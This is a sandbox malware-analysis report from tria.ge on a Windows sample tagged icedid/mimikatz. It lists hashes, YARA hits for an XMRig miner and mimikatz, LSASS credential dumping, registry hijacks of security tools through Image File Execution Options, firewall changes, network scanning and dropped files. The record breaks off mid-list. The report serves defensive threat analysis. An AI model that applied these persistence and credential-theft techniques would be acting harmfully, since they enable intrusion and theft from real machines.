Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
02/08/2024, 06:53
Behavioral task
behavioral1
Sample
2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe
Resource
win10v2004-20240730-en
General
-
Target
2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe
-
Size
8.8MB
-
MD5
94ad4d9436d6737ad6b4e7a8815d8eb2
-
SHA1
2a16c41c8e10968065b1ef1fa4db0cbd43385c98
-
SHA256
67ff033b3ca7b4dd20a883cb65b4e75f9881779b812cadb4ac0a03ad9b78d9fe
-
SHA512
a4482c5bcf7d09da81ff513dec8b1a4734deeb2434d1a57beb7b91047f95629c6ce20507519e46b3f5ee942156523495da84fb9116797e21a4cfa79dcba158fb
-
SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2420 created 340 2420 gevvryv.exe 17 -
Contacts a large (28007) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 13 IoCs
resource yara_rule behavioral1/memory/2280-170-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig behavioral1/memory/2280-203-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig behavioral1/memory/2280-225-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig behavioral1/memory/2280-226-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig behavioral1/memory/2280-233-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig behavioral1/memory/2280-234-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig behavioral1/memory/2280-235-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig behavioral1/memory/2280-252-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig behavioral1/memory/2280-263-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig behavioral1/memory/2280-264-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig behavioral1/memory/2280-266-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig behavioral1/memory/2280-267-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig behavioral1/memory/2280-268-0x000000013FBD0000-0x000000013FCF0000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 6 IoCs
resource yara_rule behavioral1/memory/2932-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/2932-4-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/files/0x0008000000016dc6-8.dat mimikatz behavioral1/memory/2704-9-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/2188-136-0x000000013FBA0000-0x000000013FC8E000-memory.dmp mimikatz behavioral1/memory/2188-138-0x000000013FBA0000-0x000000013FC8E000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts gevvryv.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts gevvryv.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe gevvryv.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 1952 netsh.exe 828 netsh.exe -
Executes dropped EXE 18 IoCs
pid Process 2704 gevvryv.exe 2420 gevvryv.exe 1496 wpcap.exe 1044 iiaelmmve.exe 2188 vfshost.exe 556 xohudmc.exe 1600 sssscc.exe 692 sbigaauav.exe 2280 riflvg.exe 2932 sbigaauav.exe 2264 sbigaauav.exe 2604 sbigaauav.exe 2544 sbigaauav.exe 2920 sbigaauav.exe 2572 sbigaauav.exe 1776 gevvryv.exe 640 rkgteichq.exe 1820 gevvryv.exe -
Loads dropped DLL 24 IoCs
pid Process 2164 cmd.exe 2164 cmd.exe 2016 cmd.exe 1496 wpcap.exe 1496 wpcap.exe 1496 wpcap.exe 1496 wpcap.exe 1496 wpcap.exe 1432 cmd.exe 1044 iiaelmmve.exe 1044 iiaelmmve.exe 2224 cmd.exe 2224 cmd.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 1376 cmd.exe -
resource yara_rule behavioral1/memory/2188-136-0x000000013FBA0000-0x000000013FC8E000-memory.dmp upx behavioral1/memory/2188-138-0x000000013FBA0000-0x000000013FC8E000-memory.dmp upx behavioral1/files/0x000500000001a4c9-135.dat upx behavioral1/files/0x000500000001a4d9-161.dat upx behavioral1/memory/692-163-0x000000013F260000-0x000000013F2BB000-memory.dmp upx behavioral1/files/0x000500000001a4de-165.dat upx behavioral1/memory/2420-168-0x0000000002A40000-0x0000000002B60000-memory.dmp upx behavioral1/memory/2280-170-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx behavioral1/memory/692-173-0x000000013F260000-0x000000013F2BB000-memory.dmp upx behavioral1/memory/2932-179-0x000000013FE70000-0x000000013FECB000-memory.dmp upx behavioral1/memory/2932-182-0x000000013FE70000-0x000000013FECB000-memory.dmp upx behavioral1/memory/2264-188-0x000000013F840000-0x000000013F89B000-memory.dmp upx behavioral1/memory/2264-191-0x000000013F840000-0x000000013F89B000-memory.dmp upx behavioral1/memory/2604-196-0x000000013F1E0000-0x000000013F23B000-memory.dmp upx behavioral1/memory/2604-198-0x000000013F1E0000-0x000000013F23B000-memory.dmp upx behavioral1/memory/2544-205-0x000000013F990000-0x000000013F9EB000-memory.dmp upx behavioral1/memory/2280-203-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx behavioral1/memory/2544-207-0x000000013F990000-0x000000013F9EB000-memory.dmp upx behavioral1/memory/2920-212-0x000000013FDD0000-0x000000013FE2B000-memory.dmp upx behavioral1/memory/2920-214-0x000000013FDD0000-0x000000013FE2B000-memory.dmp upx behavioral1/memory/2572-220-0x000000013F690000-0x000000013F6EB000-memory.dmp upx behavioral1/memory/2572-222-0x000000013F690000-0x000000013F6EB000-memory.dmp upx behavioral1/memory/2280-225-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx behavioral1/memory/2280-226-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx behavioral1/memory/2280-233-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx behavioral1/memory/2280-234-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx behavioral1/memory/2280-235-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx behavioral1/memory/1376-249-0x00000000013B0000-0x00000000013C2000-memory.dmp upx behavioral1/memory/2280-252-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx behavioral1/memory/2280-263-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx behavioral1/memory/2280-264-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx behavioral1/memory/2280-266-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx behavioral1/memory/2280-267-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx behavioral1/memory/2280-268-0x000000013FBD0000-0x000000013FCF0000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 ifconfig.me 18 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 12 IoCs
description ioc Process File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\sssscc.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 gevvryv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2DEAA270F2A3ADDABB8505E3C5BD28E8 gevvryv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat gevvryv.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\sssscc.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 gevvryv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2DEAA270F2A3ADDABB8505E3C5BD28E8 gevvryv.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\lcrephtiz\UnattendGC\specials\schoedcl.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\svschost.xml gevvryv.exe File created C:\Windows\lcrephtiz\ebttsfbtk\wpcap.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\coli-0.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\posh-0.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\spoolsrv.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\Shellcode.ini gevvryv.exe File created C:\Windows\lcrephtiz\ebttsfbtk\ip.txt gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\exma-1.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\trfo-2.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\docmicfg.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\schoedcl.xml gevvryv.exe File opened for modification C:\Windows\lcrephtiz\Corporate\log.txt cmd.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\trch-1.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\tucl-1.dll gevvryv.exe File created C:\Windows\mitkhive\vimpcsvc.xml gevvryv.exe File opened for modification C:\Windows\mitkhive\vimpcsvc.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\AppCapture32.dll gevvryv.exe File created C:\Windows\lcrephtiz\ebttsfbtk\Packet.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\tibe-2.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\svschost.xml gevvryv.exe File created C:\Windows\mitkhive\schoedcl.xml gevvryv.exe File created C:\Windows\lcrephtiz\Corporate\vfshost.exe gevvryv.exe File opened for modification C:\Windows\lcrephtiz\ebttsfbtk\Result.txt rkgteichq.exe File created C:\Windows\mitkhive\gevvryv.exe 2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\zlib1.dll gevvryv.exe File created C:\Windows\mitkhive\svschost.xml gevvryv.exe File created C:\Windows\lcrephtiz\upbdrjv\swrpwe.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\docmicfg.exe gevvryv.exe File opened for modification C:\Windows\mitkhive\svschost.xml gevvryv.exe File created C:\Windows\ime\gevvryv.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\cnli-1.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\libxml2.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\vimpcsvc.xml gevvryv.exe File opened for modification C:\Windows\mitkhive\spoolsrv.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\AppCapture64.dll gevvryv.exe File opened for modification C:\Windows\mitkhive\gevvryv.exe 2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe File created C:\Windows\lcrephtiz\ebttsfbtk\wpcap.dll gevvryv.exe File created C:\Windows\lcrephtiz\ebttsfbtk\rkgteichq.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\ucl.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\svschost.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\schoedcl.xml gevvryv.exe File created C:\Windows\lcrephtiz\ebttsfbtk\iiaelmmve.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\crli-0.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\ssleay32.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\vimpcsvc.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\spoolsrv.xml gevvryv.exe File created C:\Windows\mitkhive\docmicfg.xml gevvryv.exe File created C:\Windows\lcrephtiz\Corporate\mimidrv.sys gevvryv.exe File opened for modification C:\Windows\lcrephtiz\ebttsfbtk\Packet.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\libeay32.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\xdvl-0.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\vimpcsvc.xml gevvryv.exe File created C:\Windows\lcrephtiz\ebttsfbtk\scan.bat gevvryv.exe File opened for modification C:\Windows\mitkhive\schoedcl.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\spoolsrv.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\docmicfg.xml gevvryv.exe File created C:\Windows\mitkhive\spoolsrv.xml gevvryv.exe File opened for modification C:\Windows\mitkhive\docmicfg.xml gevvryv.exe File created C:\Windows\lcrephtiz\Corporate\mimilib.dll gevvryv.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1312 sc.exe 640 sc.exe 1984 sc.exe 1320 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language gevvryv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 